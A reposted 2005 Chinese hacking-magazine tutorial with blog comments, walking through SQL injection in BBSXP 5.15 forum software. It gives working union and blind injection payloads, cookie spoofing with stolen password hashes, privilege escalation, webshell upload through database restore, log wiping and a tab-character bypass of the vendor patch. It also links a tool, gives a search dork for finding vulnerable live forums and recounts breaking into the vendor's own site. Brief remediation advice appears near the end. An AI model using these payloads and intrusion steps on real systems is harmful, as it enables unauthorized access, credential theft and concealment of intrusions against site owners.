BBSXP漏洞再探究

文章作者:职业欠钱@[F.W.S.T]
信息来源:邪恶八进制(www.eviloctal.com)

注:本文已发表在《黑客X档案》2005年6期,版权归其所有,转载请保持文章完整性并注明版权

最近BBSXP论坛可以说是一点都不平静。漏洞一个接一个暴出来。上次对showforum.asp这个文件的漏洞分析过后,没多久,又暴出blog.asp存在漏洞。于是俺这个菜鸟的心再不能平静了,不要每次都等着人家给我们找漏洞,咱自己也来分析一把看看。
首先,我们回顾一下showforum.asp中的漏洞,还记得order变量,是经过了HTMLncode过滤了以后才放到SQL语句中去执行的。再来看看blog.asp中出漏洞的地方:

id=HTMLEncode(Request("id"))
if id<>"" then
sql="select * from [calendar] where id="&id&" order by id Desc"

id变量同样是经过了HTMLEncode过滤了以后,就放到了SQL语句中去了。利用的方法是构造一个特殊的id变量,使用UNION查询将密码暴出来。

●小知识:UNION查询的基本介绍●
使用UNION可以将多个查询结果合并起来时,系统会自动去掉重复的记录。参加UNION操作的各结果表的列数必须相同;对应项的数据类型也必须相同;
●select top 1 username,userpass from [user] union select 'test','12345' from [clubconfig]
●——这里加上了单引号是表示里面的数据为字符型,为了和前面的username和userpass的类型对(在ACCESS中则没有这么严格的要求,数据类型不一致的话,不会导致SQL语句出错)上。在海洋2006的数据库操作里执行的结果如下(图1):

●●原理学习与分析●●
了解了union查询,我们就可以构造这个id了。如:●id=-1 union select 1,2,3,4,5,6,7 from [user] where membercode=5●
还原完整的SQL语句是这样的:
●select * from [calendar] where id=-1 union select 1,2,3,4,5,6,7 from [user] where membercode=5 order by id Desc●
此SQL前半部分会因为id=-1而什么也查不出来,然后,1~7这7个数字是因为calendar这个表中有7个字段。那么大家可以看到如图的结果。(图2)

其中能显示出来的数字(比如3和4),可以改为字段名username和userpass。因为有membercode=5做条件,所以可以将级别为社区区长的用户名和密码查出来。(图3)当然,如果想查特定用户的密码也是很容易的,把username作为限制条件就可以了。不过要注意的是,HTMLEncode函数过滤了单引号,所以要用十六进制转换一下。把语句改为:
●id=-1 union select 1,2,userpass,4,5,6,7 from [user] where username=0xD3C3BBA7●
其中0xD3C3BBA7是“用户”的十六进制写法。如果是数字和英文的话,记得每一个字符需要用四个字节来表示,比如“1”要写成0x3100。这和上次的一样。有一个不一样的地方是,上次我们用了DECLARE @cmd sysname,并且将空格转换为了“+”号,后来实践后发现是没有必要的。所以特别提出一下。

不过,上面讲的利用方法是只针对ACCESS版的,因为这样的union查询在MSSQL中是会出错的,为什么呢?在查询分析器里实验的时候,我们发现,尽管语法都是一样的,但是因为MSSQL版的BBSXP中,[calendar]这张表中的content字段的类型是TEXT类型。用来存放日志内容的。而且text、ntext或image数据类型在查询的时候是不允许使用DISTINCT方式查询的。(DISTINCT查询是指,在查询的时候要将重复的记录删掉)而UNION查询又肯定是DISTINCT方式的。(上面介绍过了)所以我们不能直接像ACCESS版那样把密码给“暴”出来。那么我们就没有办法了吗?当然不是,也许有的朋友会想起曾经我们介绍的方法,直接构造出多语句执行,update修改自己的级别和允许上传类型或者改后台密码。我给个例子,将id构造为:

id=-1 update [user] set membercode=5 where username=0xD3C3BBA7
select * from [calendar] where id=-1

(后面这个select语句是为了配对原语句中的order by)
递交后看结果(图4):

为什么会这样呢?不是说MSSQL是支持多语句执行的吗?为什么又说只能是单个的select语句或存储过程呢?回头查看SQL语句,可以保证没有问题,因为在查询分析器里是正确执行了的。那问题肯定在ASP文件里了。仔细对比两次的内容后,发现区别是这样的:
ShowForum.asp中,是这么执行SQL语句的:
●Rs=Conn.Execute(sql)●
而blog.asp是这么写的:
●rs.Open sql,Conn,1●
在安全焦点的论坛上,xiaolu告诉我问题就出在这上面,rs.Open sql,Conn,1是不能修改记录的。(原理就不介绍了,我自己都还晕忽着~)继续分析:
那是不是对SQL版的就不能利用了呢?当然不是了,我们可以一位一位的将密码猜出来嘛。HTMLEncode函数过滤掉了“<>”这两个用于比较ASCII码大小的字符,那么我们就不用它,我们用
●between … and …●
●id=1 and exists(select * from clubconfig where substring(adminpassword,1,1) between 0x30 and 0x46)●
因为我们知道BBSXP后台密码是MD5的密文,而且字母都是大写的,所以密码的每一位只可能是0-9和A-F之间。将它们的ASCII码转换为十六进制:0x30-0x39和0x41-0x46之间。(这里用UltraEdit自带的ASCII对照表查的)然后使用经典的ASCII折半分析法,(经常使用NBSI的朋友可能很眼熟吧,呵呵)首先我们猜看第一位是否0x30到0x39之间(数字0-9),如果是的话,会出现id为1的日志。否则提示没有这个日志,然后一直猜到between 0x35 and 0x35之类的结果(and的前后数字相同为止,0x35就是数字5了),再猜substring(adminipassword,2,1)也就是密码的第二位。当然,这是很机械的工作,要一次一次的猜实在是一个体力活。还是小z体贴大家,将工具做了出来。
ACCESS版:
在最上面那个“目标主机”处填入论坛的地址。不要填完整的,比如http://bbsxp.com/bbs/ 被填成了http://bbsxp.com/bbs/blog.asp 反而会失败。然后在下拉菜单中选择是要获取对方的管理员名和密码还是要对方后台密码。点发送就OK了。(图5),这里有个“使用usertop.asp暴”,下文会介绍。

QL版:
速度就没ACCESS版那么快了,因为要一位一位的猜(周杰伦:我要,一位一位往下猜~),这次要在“关于SQL的blog.asp”中的目标主机里填URL了,而且这次要求填完整的。比如http://www.cnsuv.cn/blog.asp?id=1,这个地址必须是你输入它的时候能看到有日志的,如果没有日志的话,请自己注册个ID发日志(图6)。这次我们没有把获取用户名的功能加进来,大家可以自己输入http://bbs.yuzi.net/adminlist.asp到管理团队找级别为社区区长的用户名(比如这里是yuzi),将其填入“用户名”处,点发送就可以了。(图7、图8)



好了,拿到了人家的密码了,我们可以Cookie欺骗做一下社区区长了。方法如下:使用桂林老兵的工具,在地址栏里输入URL,随便注册个号登陆进去,会看到Cookie栏里有username和userpass字段吧,在这个后面跟着的就是你的用户名和密码了,当然是加了密的。接下来,点一下“自定义cookie”(就是那个有一个鼠标的按钮),cookie项就变成可修改的了。将username和userpass改为你得到的数据,敲两下回车。刷新一下,看看,我们是社区区长了吧,嘿嘿~(图9、图10)


什么?你还不满意?只能做个社区区长没意思?有你的,够贪心啊!好,不过在继续之前我们先来总结一下BBSXP出漏洞的规律:
BBSXP过滤的并不少,HTMLEncode过滤也算有点严格了。可是,只要没有被单引号起来,我们还是很容易构造我们需要的SQL语句的(被单引号引起来了就全部变成字符串做查询条件了,绕不开,这一点和PHP下的注射很像,不是吗?)。那么YUZI肯定还有别的地方也是只用HTMLEncode过滤后就放到SQL语句里执行了!让我们去读读他的代码。还好,BBSXP出了名的小巧,就几十个文件,没两天就读完了。可能是我太粗心了吧,只在两个文件中发现了过滤不严的地方:

usertop.asp :
order=HTMLEncode(Request("order"))
if order="" then order="experience"
sql="select top 500 * from [user] order by "&order&" Desc "
rs.Open sql,Conn,1

和blog.asp如出一辙,经过HTMLEncode过滤直接放入SQL语句中,且不在单引号的范围里。不过因为执行SQL语句的方式:rs.Open sql,Conn,1,而且又不在where条件中,构造多语句执行update什么的是没希望了,所以对MSSQL版的本人是不会利用了。不过ACCESS版还是很容易的,老方法了,union查询:

order=id desc union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,adminpassword,28,29,30,31,32,33 from clubconfig order by id

([user]表中有33个字段,其中order by id是为了配对 Desc)
但是大家执行后可能会发现有点不愉快的东西,因为会有很多的垃圾信息挡在前面。我们要把自己查出来的东西排在第一位怎么办呢?很简单,数数[user]表中,degree是登陆次数,并且是在第17个字段,那么我们把17这个字段改为99999,然后把最后那个●order by id●改为●order by degree●,哈哈,没有人会登陆99999多次吧,我们要查询的信息排在了第一位,在登录时间处显示的就是后台密码了。(图11)要查询社区区长的用户名和密码或者特定用户的密码的方法和上面是类似的,就不罗嗦了,反正zj1244也为大家做出工具了。如果对方把blog.asp删掉了,(谁让这个文件的漏洞有动画教程出来了呢,很多站长喜欢这么敷衍的“打补丁”,可是usertop.asp就不一定咯~),我们将usertop.asp选中,再暴就OK了。

然后再介绍一个地方,manage.asp:

在54行到57行的内容是这样
54 case "move"
55 if Request("moveid")="" then error("您没有选择要将主题移动哪个论坛")
56 if Conn.Execute("Select pass From [bbsconfig] where id="&Request("moveid")&"")(0)=4 then error("目标论坛为授权发帖状态")
57 conn.execute("update [forum] set forumid="&Request("moveid")&",toptopic=0,goodtopic=0,locktopic=0 where id="&id&"")

大家注意看看,这里的moveid甚至是直接Request得来的,没有经过任何过滤就放进了Conn.Execute执行的SQL语句中。还客气什么,直接update吧,不过上次分析漏洞的时候太武断了,没有考虑到把后台密码改了以后管理员会进不去后台,做人要厚道,所以这次我们在改后台密码之前,先把原先的密码存到另一个地方,比如指定用户个人主页字段,然后等进了后台,传了ASP木马以后,再将密码还原,顺便还将自己注册的那个ID删除,将后台的日志删除,青春不留痕(小编:怎么像洗面奶的广告)。讲得大家是不是心动了?不过这个漏洞的利用是有限制的,它需要有至少斑竹以上的权限才可以进去。在一开头大家可以看到以下代码:
●if membercode > 3 then
……●
membercode要大于3,就只有管理员和区长了,或者你正好是那个版的斑竹。犯难了吧?X教育过我们,学hack最重要的是思路,入侵要将多个漏洞结合起来,看看上面的blog.asp只能得到区长用户名和密码,而这个漏洞又要区长的身份。难道大家不觉得这两个漏洞简直是天生一对吗?首先cookie欺骗进了前台以后,输入●http://bbs.yuzi.net/manage.asp?menu=move&id=435183&moveid=2●
就可以将id为435183的帖子移动到id为2的版块。这里解释一下,menu=move是指操作为移动帖子,id=435183是论坛存在的一个帖子,moveid是一个存在的版块id(其实这里不需要也可以,不过为了防止意外,手工实验最好保留)。(将鼠标悬停在任意版块上,会看到forumid=x,其中x就是版块ID,同理,将鼠标悬停在任意帖子上,可以得到帖子id。)其中,moveid是我们可以控制的。
在manage.asp文件的第56行,只要该SQL语句执行的结果的第一位查询值不为4,就执行57行。事实上,不管他的查询结果是什么,这句SQL语句都完整的执行了我们期望的动作,所以尽管那个id变量进入57句的时候会出错,我们却根本不需要理它,反而是只要看到出错的行数是57我们就可以干杯庆祝了(说明56行执行完毕了)。举例说明:

moveid=435183
update [user] set userhome=(select adminpassword from clubconfig) where username=0xD3C3BBA7
update clubconfig set adminpassword=(select userpass from [user] where username=0xD3C3BBA7)
完整的句子就这个了,还原为56行完整SQL语句是:
Select pass From [bbsconfig] where id=435183
update [user] set userhome=(select adminpassword from clubconfig) where username=0xD3C3BBA7
update clubconfig set adminpassword=(select userpass from [user] where username=0xD3C3BBA7)

首先将后台密码存入用户名为“用户”的个人主页中,然后将后台密码改为此用户的当前密码。方便我们入侵后擦PP。提交后我们会看到XXX出错,在manage.asp行57。呵呵,当然会出错了(一阵坏笑中~^_^)
手工怎么弄就不提了,留给有兴趣的朋友自己玩吧,小z的工具又出来溜一圈先。(图12)

在第三个“目标主机”处填入URL: http://bbs.yuzi.net/manage.asp 。下拉菜单选择你希望进行的操作(比如在这里将指定用户提为管理员)。帖子id处填入任意存在的id。指定用户是你希望进行操作的用户,比如“职业欠钱”。这样等会一切操作的对象就都是职业欠钱了,比如提管理员就是将职业欠钱提为管理员,降为小野人就是将职业欠钱降为小野人,更改后台密码是将后台密码改为职业欠钱的当前密码(注册时用的密码)并且将后台密码存入职业欠钱的个人主页中。(图13、图14)


后面要填的东西则比较重要,还记得我们说过这个漏洞需要斑竹以上的身份吧?这里填入yuzi和MD5散列密码(这个漏洞只针对SQL版了,AC是不支持多语句执行的)。最后点发送。(如果提示“可能成功咯”就恭喜了)当然,如果你要自己写SQL语句也是可以的,不过要记得避开单引号哦~
我们拿BBSXP官方做实验看看,先是使用“将用户提为管理员”功能将自己提为社区区长,然后更改后台密码(这时候会将后台密码放入自己的个人主页里,在查看个人基本资料时可以看得到),于是就可以顺利进入后台了。(图15)

上次教了大家备份数据库后,有些管理员就将那几个asp.dll的映射删掉了,这次教大家一招新的,用恢复数据库的功能,同样,我们不能直接在数据库路径里写入.asp,而写asa或者其他的又会失败。(yuzi这台服务器做的很NB,会干脆返回404错误!)呵呵,其实我们只需要将asp中任意一个字母改为大写就可以了。(asP和asp是不一样的哦,嘎嘎~~^_^)不过前提是我们得把我们的马儿上传上去,如果大家用那个经典的newmm.asp当作图片上传的话,会惊喜的发现yuzi和大家开了个玩笑,他会告诉我们,那不是正确的图片,所以我们可以改为zip后缀后上传,或者你换一个马儿上传BBSXP也认不出来的(用newmm.asp我加了GIF89a头也没成功,回头得好好研究一下yuzi是怎么写的上传部分)。我传好了的,所以呢,在恢复数据库的备份的数据库一栏填入/images/upfile/2005-5/200558232956.jpg ,在数据库路径里填入:shell.asP,点恢复(图16)。

访问http://bbs.yuzi.net/shell.asp(图17)。呵呵,传说中的BBSXP官方站今天在我们面前轰然倒下了,这时候怎么办?用海洋2006把整站打包,下载回去好好研究一下,没准BBSXP商业版就是BBSXP自己用的这一款呢,等等,别忘了擦PP了,这是个好习惯,呵呵~

在工具的下拉菜单项,选择“还原后台密码”,这样就会从“职业欠钱”的个人主页处将刚才保存的密码还原回去。然后再将自己还原为小野人,使用“删除指定用户的后台日志”将关于我们的日志删掉,神不知,鬼不觉~你觉得有必要,将整个用户删掉也可以,选中“删除指定用户”点发送就可以了。(图18)

●●实战练习●●
好了,原理也分析完了,工具也介绍好了,我们再看看怎么找网站练习吧!上百度或者google,输入关键字:Powered by BBSxp 5.15 SQL/Licence(图19),就能找到一大片的论坛,(因为本文全部是针对5.15版的,其他版本的因为手头上没有源代码而没有分析)如果想找ACCESS版的,将关键字的SQL去掉就行了。
图19


漏洞的修补:
1.blog.asp中的id是数字型的,就别用HTMLEncode过滤,改为id=cint(Request("id"))
2.manage.asp中的也是一样,将moveid在使用前加上一句moveid=cint(Request("moveid"))
3.usertop.asp中因为不可能使用单引号将其引起来,那么请考虑修改setup.asp中的HTMLEncode函数,增加过滤其他关键字或者直接限制长度。

其实,现在最新的BBSXP已经做了所谓的“修补”了。为什么说是所谓的呢?有兴趣的朋友们可以打开看一看,blog.asp中的id依然是使用HTMLEncode函数过滤的,manage.asp中的moveid依然是没有经过任何过滤,那么他是怎么修补的呢?仔细对比源码就知道了,在setup.asp中,yuzi对HTMLEncode函数增加了对空格的过滤。这样如果读者朋友按照上面的SQL语句进行实验的话,就会出错,可是,我们知道,在SQL语句中,一个语句之见的间隔符不只有空格而已,回车或者制表符等都可以。小z在工具里使用的就是'\t',将前文的语句中的空格全部替换为%09(制表符的ASC码为9),轻松搞定~!原先那个showforum.asp也是一样哦~原理不再罗嗦了,并且也补充整合到工具里了。截至完稿时,BBSXP还没有做出更新的补丁~(原因很简单,因为我还没来得及告诉yuzi啊,哈哈~~)
●●写在文末●●
本人在测试这个漏洞的时候,发现由于前段时间BBSXP补丁动作比较慢,结果网上一阵血雨腥风,不少论坛被挂上木马,甚至有些论坛连数据都被删光了。叫人看了心里好不伤感,这些人心里是怎么想的实在是搞不明白,把人家数据删光了对他有什么好处。记得X以前曾经说过,黑客技术是一把双刃剑,我们X的读者要时刻提醒自己应该正确的使用这把剑!

ps:文中提到的综合利用工具,我从当期的黑X光盘中拿出来的
Click Here To Download

相关日志

楼被抢了 7 层了... 抢座Rss 2.0或者 Trackback

  • 鬼仔

    我在文中提供下载的那个工具就是zj1244写的.
    悟空是谁? :mad: zj1244俺也不认识..

  • angelfish

    悟空就是这篇文的作者
    呵呵:)
    zj1244好久没见了
    T-T

  • 鬼仔

    捂空是职业欠钱?
    :mad:

  • angelfish

    :lol:
    难道不是吗?

  • angelfish

    有点想收集小Z做的工具的说……
    悟空和小Z在一起还真是好

  • AsaWhite

    谢谢了 收下 :!:

  • 阿超

    不知道现在还有没有漏洞

发表评论